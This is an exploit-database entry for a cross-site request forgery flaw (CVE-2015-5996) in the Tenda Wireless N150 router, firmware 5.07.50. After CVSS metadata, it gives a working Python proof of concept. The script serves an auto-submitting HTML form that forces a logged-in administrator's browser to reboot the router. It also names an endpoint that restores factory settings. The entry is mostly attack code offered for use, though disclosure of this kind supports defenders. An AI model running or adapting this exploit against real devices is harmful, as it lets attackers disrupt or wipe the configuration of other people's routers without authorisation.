Tenda Wireless N150 Router 5.07.50 Cross Site Request Forgery

2018.07.25
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: Tenda Wireless N150 Router 5.07.50 - Cross-Site Request Forgery (Reboot Router) # Date: 2018-07-21 # Exploit Author: Nathu Nandwani # Website: http://nandtech.co # CVE: CVE-2015-5996 # # Description: # # The router is vulnerable to a cross-site request forgery attacker. # If an administrator is currently logged in and visits a # remote webpage containing forms existing in the router's firmware, # a request can be forged to modify existing settings or even # set the router to its default state. # # These are two examples that can work in the proof of concept: # /goform/SysToolReboot - Reboot the router # /goform/SysToolRestoreSet - Set the router to default settings # # Reference: https://www.kb.cert.org/vuls/id/630872 import socket server_ip = "0.0.0.0" server_port = 80 router_ip = "192.168.0.1" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind((server_ip, server_port)) sock.listen(1) print "Currently listening at " + server_ip + ":" + str(server_port) client, (client_host, client_port) = sock.accept() print "Client connected: " + client_host + ":" + str(client_port) print "" print client.recv(1000) client.send('HTTP/1.0 200 OK\r\n') client.send('Content-Type: text/html\r\n') client.send('\r\n') client.send(""" <html> <body> <form method="post" id="frmSetup" name="frmSetup" action="http://""" + router_ip + """/goform/SysToolReboot"> <input name="CMD" value="SYS_CONF" type="hidden"> <input name="GO" value="system_reboot.asp" type="hidden"> <input name="CCMD" value="0" type="hidden"> </form> <script> document.getElementById("frmSetup").submit(); </script> </body> </html> """) client.close() sock.close()


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